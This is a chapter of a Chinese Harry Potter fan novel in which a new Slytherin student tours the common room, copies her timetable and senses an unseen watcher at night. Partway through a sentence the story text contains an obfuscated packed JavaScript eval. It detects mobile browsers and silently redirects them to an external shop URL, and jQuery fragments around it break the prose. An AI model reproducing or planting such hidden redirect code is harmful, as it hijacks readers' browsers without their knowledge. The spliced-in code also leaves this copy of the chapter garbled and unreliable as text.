文趣网 > 都市小说 > [HP]暗流之下 > 8. 第 8 章
    晚宴在杯盘碰撞的细碎声响和低低的谈笑声中渐渐接近尾声。邓布利多再次站起来时,礼堂里的喧闹像被一只手轻轻按住,逐渐低了下去。

    “好了,在大家回宿舍休息之前,我还有几项通知。”邓布利多的声音不急不慢,像在朗读一本有趣的书,“第一,禁林禁止一切学生进入,除非有教授陪同。第二,管理员费尔奇先生让我提醒各位,走廊里禁止使用魔法——当然,如果你实在忍不住,至少别被他抓到。”

    几个高年级学生发出低低的笑声。

    “第三,”邓布利多的目光朝教师席右侧的方向掠了一下,又落回全场,“四楼靠右边的走廊,未经允许,任何人不得进入。这一点我希望各位记清楚,不单是出于规则,也是出于安全。”

    艾丽莎注意到他说最后几个字时,语气里那一丝轻快的调子稍微沉了一些。她不知道四楼走廊里有什么,但达芙妮在她旁边微微皱了皱眉,米里森放下了手里的叉子。

    “最后——”邓布利多重新绽开笑容,“睡前记得吃点宵夜,长身体的时候不能饿着。好了,级长们,带你们的新生回去吧。”

    四张长桌上的学生们纷纷起身。椅子腿摩擦石砖的声音、餐具碰撞的叮当声、交织的谈话声同时涌起来,礼堂里瞬间变成一片流动的人声与身影的海洋。

    艾丽莎跟着达芙妮和米里森站起来,往长桌侧边的过道走去。一个高挑的高年级女生正站在过道口,黑色长发束成一条低马尾,面容端正,神情里带着一种让人安心的沉稳。她身上别着一枚银色的级长徽章,手里拿着一盏提灯,灯的火焰是银白色的,光线柔和却清晰。

    “斯莱特林一年级的新生,跟我来。”她的声音不高,但足够清晰,目光扫过艾丽莎等人的脸,“我是杰玛·法利,你们接下来一年有什么问题可以找我。跟紧了,别掉队。”

    她转身朝侧门走去,步伐不快不慢,但很稳。

    艾丽莎和达芙妮、米里森走在队伍中段,潘西和马尔福走在靠前的位置,身后还有几个艾丽莎还没记住名字的同学。新生们三三两两挤在一起,沿着侧门外的走廊向前移动。

    走廊里的光线从礼堂的暖黄骤然变暗,墙壁上的火炬间隔很远,一段亮一段暗。脚下的石砖从平滑变成了带着磨砂质感的老石料,踩上去有一些细微的凹凸感。空气中的气味也在变化——从食物和蜡烛的暖香变成了一种更冷、更沉的石质气息,混着一丝若有若无的潮意。

    他们走过一段向下的楼梯,台阶比艾丽莎想象中更陡,每一级都磨损得厉害,中间部分被无数双脚踩出了微微凹陷的弧度。墙壁两侧挂着深绿色的挂毯,织着银色的纹样,在火炬跳动不定的光线里,那些纹样像蛇一样蜿蜒游动。

    又拐过一个弯,楼梯继续向下。艾丽莎能感觉到空气变得更凉了,贴在皮肤上有一种石窖特有的干冷的触感。墙壁上的水汽似乎在加重,火炬的光焰落在湿漉漉的石面上,映出一层淡淡的水光。

    “斯莱特林的公共休息室,”杰玛的声音从前方传来,没有回头,但音量足够让整个队伍听清,“在湖底。你们现在往下走,实际上是在穿过城堡的地基,进入黑湖的下方。外面的窗户——等下你们会看到——直接朝向湖底。”

    队伍里响起几声压低了的惊叹。艾丽莎身后一个男生轻声说了一句“真的假的”,另一个女生小声附和着“我听说水里的东西会从窗外游过去”。

    杰玛在一面空白的石墙前停下来,墙面上没有任何装饰,没有门把手,没有锁孔,只有一块块平整的暗灰色石砖拼合在一起,接缝处被时间磨得几乎看不分明。

    她转过身面对新生们,举起提灯,银白色的光芒在墙面上投出一片柔和的圆。“口令,”她说,“跟着我念。”

    她微微倾身向前,嘴唇贴近墙面,低声说了一句什么。艾丽莎没听清全部,只捕捉到末尾一个单词的尾音——“血脉”。

    石墙的接缝处亮起一道细细的绿光,像有人用极细的笔蘸了发光的墨水画了一条线。绿光沿着石砖之间的纹路延展开来,勾勒出一道门的轮廓。石砖无声地向两侧滑开,露出一个拱形的入口。

    玛侧过身,朝新生们做了一个“请进”的手势。

    艾丽莎跟在队伍里走进去,脚刚迈过门槛,呼吸就顿了一下。

    公共休息室比她在想象中的更大。整个空间是圆形的,穹顶高而幽暗,但四壁并不逼仄——相反,整面朝外的墙壁都是巨大的落地窗,窗外是流动的、幽绿色的湖水。水波在玻璃外面缓慢地荡漾,把天花板上垂下来的银质吊灯的光线揉碎了又拼合,投在地面上投出一片片游移的水纹。

    湖底的光线透过水层渗透进来,是一种介于蓝绿之间的颜色,冷而清澈。偶尔有一团暗影从窗外掠过——不知道是鱼还是别的什么——影子在玻璃上迅速放大又缩小,然后消失在视野的边缘。

    壁炉在房间正对面的一面石墙上燃着,火焰是银绿色的,比普通的火焰冷一些,但足够温暖。壁炉周围散落着几组深绿色的绒面沙发和矮桌,桌上放着几摞书和几盏小灯。房间两侧还有几排书架,架上的书脊在烛光下反射出深浅不一的色泽。

    艾丽莎站在门口,目光从窗外那片幽绿色的水光一路滑过书架、沙发、壁炉,最后落在穹顶高处。那里有一些银色的链条垂下来,末端挂着小巧的灯盏,灯焰被施了魔法,在水波的折射下轻轻晃动,像一片悬浮的星群。

    帕特里特以前跟她描述过斯莱特林的公共休息室,他说“你会觉得像沉在水底的一颗星星里”。当时艾丽莎想象不出来,现在她站在这里,觉得那个形容没有夸张。

    杰玛拍了拍手,把新生们的注意力拉回来。

    “注意!”一个高大的男生从壁炉前的沙发上起身。

    “我是你们另一个级长雷克斯·亚克斯利。首先,欢迎大家来到斯莱特林学院,我们的休息室位于城堡的最底层,窗外就是黑湖底,这里在霍格沃茨成立之前是地牢,虽然阴冷但面积最大,公共休息室左侧是男生寝室、右侧是女寝。其他学院的寝室都是四人间甚至是六人间,而我们的都是双人间。”

    “这里是布告栏,每个年级的课程、重要的通知还有休息室的口令你们都能在上面找到,明天上午你们第一节课是魔法史课,请大家务必早点起床,用餐后八点礼堂集合,法利会带你们去教室。”

    “我要提醒各位:始终铭记你们是一名斯莱特林!不要像格兰芬多一样莽撞无脑、横冲直撞。最重要的一点:请你们遵守纪律,我不希望有人被扣分,听明白了吗?”

    “听明白了……”新生们看着突然严肃起来的级长,讷讷的回答。

    “还有什么问题吗?”亚克斯利问到。

    几个新生摇了摇头。一个棕发女生举手问了一句“宵禁是几点”,杰玛回答说“十一点,但一年级最好不要在九点之后单独在外面晃悠”。

    问完问题的学生们开始三三两两朝走廊方向走去。艾丽莎站在原地看着他们散开,达芙妮在她旁边轻轻拉了拉她的袖口:“走吧,看看我们住哪儿。”

    她们沿着右侧的走廊往里走。走廊两侧的石墙上每隔几步就有一盏小灯,光线柔和,映出两侧的木门。每一扇门上都嵌着一块小小的铜牌,上面刻着名字。

    艾丽莎走过去时依次扫过那些铜牌——伯斯德&格林格拉斯……帕金森&沙克尔……然后她看到了自己的名字。

    安布罗斯&戴维斯。

    铜牌上只有姓氏,字迹端正清晰,边缘磨得微亮,显然被擦拭过很多次。

    戴维斯……艾丽莎回忆了一会,想起了那个女孩儿,好像是叫特雷西,也花了小一会儿才被分到斯莱特林,当分院帽喊出学院的时候女孩儿如丧考妣,乳燕投林般奔向了拉文克劳一个高年级和她有同样褐色长发的女生。

    她推开门。

    房间不大,进门左右两边是两间盥洗室,艾丽莎打开看了一眼,洗手池、淋浴、马桶,另一间也是同样的配置。关好盥洗室的门往里走,两张四柱床靠墙放着,床幔是深绿色的丝绒,床边铺着柔软的地毯,床边有一张小圆桌和一把扶手椅。

    靠窗的位置——窗玻璃外面就是流动的湖水——摆着一张书桌,上面放着一摞崭新的羊皮纸、一根新的羽毛笔和一小瓶墨水瓶。角落里还有一个衣柜,门半掩着,里面隐约能看见她已经送来的行李。

    艾丽莎把腰间的手袋解下来放在书桌上,走到窗边站定。窗玻璃外面,湖水的颜色比在公共休息室里看到的更深一些,水波缓慢地起伏着,偶尔有一串细小的气泡从下方升上来,贴着玻璃窗缓缓爬升,像一串透明的珠子。

    她把手指贴在玻璃上,指尖触到一片冰凉的、微微震动的触感。那是水压透过玻璃传过来的细微颤动,几乎察觉不到,但当她把手掌完全贴上去时,能感觉到那种持续的、轻微的脉动,像湖底在呼吸。

    外面有什么东西从窗边游了过去,很大,灰绿色的轮廓,尾巴缓慢地摆动了一下,带起一股水流,搅动了窗前的光影。然后它游远了,轮廓渐渐融进更深的水色里。

    艾丽莎把手从玻璃上收回来,指尖残留着冰凉的触感。

    窗外的水波晃了一下,一串新的气泡沿着玻璃窗升上来,在灯光下闪烁了一瞬,然后消失在窗沿上方。艾丽莎靠进椅背里,闭上眼,听着水声在墙外缓缓的流动,像一首没有词的摇篮曲。

    小憩了一会儿醒来,艾丽莎去盥洗室洗漱换好了睡袍,出来的时候已经快十点了,室友还没回来。突然想起课表还没有抄,她起身直接套上长袍、带上笔记本和羽毛笔起身去了公共休息室。

    公共休息室里的银绿色火焰还在壁炉里安静地燃着,光晕在水波折射下微微晃动,在地毯上投出一片流动的暗纹。

    艾丽莎绕过沙发走向布告栏时,看见壁炉旁边那组最大的绒面沙发上,两个宽阔的身影正挤在一起。

    克拉布和高尔——马尔福那两个像保镖一样的高个子跟班。

    两人面前的矮桌上堆着好几个盘子,盘子里残留着肉派和烤土豆的碎屑,还有几块啃了一半的鸡腿骨头。高尔手里正抓着一块奶油面包往嘴里塞,克拉布端着一只高脚杯,里面装着某种深红色的饮料,正咕咚咕咚地灌。

    克拉布最先看见她,嘴里含着面包含糊地打了个招呼,下巴朝她扬了扬。高尔随后抬起头,眨了两下眼睛,把嘴里的东西咽下去之后说:“你也是来抄课表的?”

    艾丽莎点了点头,走到布

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822091|211165||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    告栏前站定。

    布告栏上贴着一大张羊皮纸,上面用粗体花字写着斯莱特林各年级的课程安排。一年级的条目排在最上面,字迹清晰工整:周一到周五的课表,上午魔法史,下午魔咒课……天文课被安排到周三的晚上……魔药课在周五上午。她把笔记本翻开,低头抄写,羽毛笔尖在纸面上发出细小的沙沙声。

    “吃不吃?”克拉布的声音从身后传过来,带着一点食物咀嚼的黏糊感,“厨房那边拿的,新鲜热乎的。”

    艾丽莎回头看了一眼,克拉布手里举着一只肉馅饼,油光从酥皮的裂缝里微微渗出来,冒着热气。高尔也抬起头看着她,嘴里还叼着半块面包,眼神里带着一种很单纯的、没有太多算计的邀请。

    “不了,谢谢。”她冲他们笑了笑,“我刚吃完没多久。”

    克拉布耸了耸肩,把馅饼收回去自己咬了一口,含糊地说:“行吧。你要是饿了,厨房在赫奇帕奇公共休息室附近那排走廊尽头,你找个画着水果静物画的画像,挠一下那只梨子,它会变成门把手。”

    艾丽莎微微一愣:“还要这样啊?”

    艾丽莎之前去厨房是跟着邓布利多去的,虽然记得大致方位,但没有注意到这种开门的技巧。

    “真有意思。”艾丽莎喃喃道。

    “有意思的多着呢。”克拉布把面包咽下去,油乎乎的手在袍子上随意擦了擦,“城堡里到处都是密道和暗门。”

    高尔也点头含糊的说“你慢慢就认识了。”

    艾丽莎点了点头,把这句话记在心里,转回去继续抄课表。羽毛笔尖划过纸面时,她听见背后传来两人继续吃东西的声音,克拉布含混地嘟囔了一句“这个馅饼比中午那个好”,高尔嗯嗯地应着。

    抄完课表她合上笔记本,朝克拉布和高尔摆了摆手道别,两人正埋头对付一盘烤香肠,只抬了抬下巴算作回应。

    艾丽莎的脚步在经过壁炉的时候僵住了。

    那道目光——微凉的、黏着的、从脊背正中某个点爬上去的触感——又贴了上来。她的心脏在胸腔里猛跳了一下,几乎是本能地转过身,目光扫过整个公共休息室。

    壁炉里的绿色火焰还在跳,投下幽暗摇曳的光,克拉布正把最后一块馅饼塞进嘴里,腮帮子鼓得像只仓鼠,高尔低头用叉子戳着盘里最后一根烤肠,两人谁也没有抬头看她。

    没有人看她。

    可那道视线还在,它黏在她后颈偏左的位置,像一根看不见的手指轻轻按住那块皮肤。她甚至能感觉到那股凉意正在缓慢地移动——从后颈滑到肩胛之间,像什么活物在丈量她的脊骨。

    艾丽莎攥紧了笔记本的边缘,纸页在指间发出细微的皱响。她控制着自己没有再次回头,因为她清楚,那道目光的来源不会在看得见的地方。

    这个念头让她的指尖更冷了几分,她迈开脚步,尽量平稳地穿过休息室中央的地毯,绕过那张摆了棋盘的小桌,朝通向女生宿舍的石阶走去。脚步不快不慢,袍摆没有带起多余的风——她不想让那个注视者察觉到她在逃。

    石阶盘旋向下,墙上的火把依次燃起又在她身后依次熄灭。她走过第三级台阶时,那道视线消失了。像来时一样突然,后颈那点微凉的触感啪地一下断了,只剩下皮肤上残余的、让人不安的痒意。

    她反而走得更快了。

    女生宿舍的门在她面前无声滑开,她一步跨进去,门板在身后合拢,发出轻微的咔嗒声。

    她进门的瞬间,下意识朝右边那张靠窗的床看了一眼。

    床铺依然整整齐齐,床幔垂着,被褥没有动过的痕迹,枕头边缘的褶痕还保持着早上送来的样子。书桌上空荡荡的——和自己那张桌上摊开的笔记本和羽毛笔不同,那边连一盏灯都没点亮。

    特雷西·戴维斯没有回来过。

    她慢慢坐到床沿上,把笔记本搁在膝头。床幔垂落下来,将她裹进一方幽暗的、与世隔绝的小空间。她把手伸进口袋,指尖摸了摸魔杖的木质轮廓,然后闭上眼睛,深深吸了一口气。

    艾丽莎脱下外袍躺下,把被子拉到下巴,闭上眼睛。

    她想起傍晚在礼堂里奇洛教授那道黏着在她身上的目光,又想起刚刚在休息室的注视,是不是也是他?或者说,是他脑后的伏地魔?湖底的水声持续不断地在墙壁外面流淌着,有时近有时远,有时那声音像是贴着窗玻璃擦过去,有时又沉到很深的地方去。

    她又想起分院帽在她头顶上说的那些话,想起踩到哈利·波特时他涨红的脸。

    这些画面在黑暗里依次浮现,像一串缓慢翻动的书页,每一页都带着边缘微卷的毛糙感。

    她翻了个身,把脸埋进枕头里,枕芯里似乎填充了什么带着清淡草药味的东西,闻起来让人放松,安全感也顿时涌了上来。然后那些画面渐渐模糊了,水声变得更远,像潮水退去后留下的余响。她的呼吸变得均匀而绵长,手指松开被角,整个人沉进了床垫深处。

    窗外的湖水依然无声地流淌着,一串细小的气泡沿着玻璃窗缓缓升上去,在顶端的暗影里轻轻破裂。床头的灯不知什么时候自己灭了,房间彻底沉进黑暗里,只有水光在玻璃外面缓缓晃动,投下一道道极其微弱、像呼吸一样节律的波纹。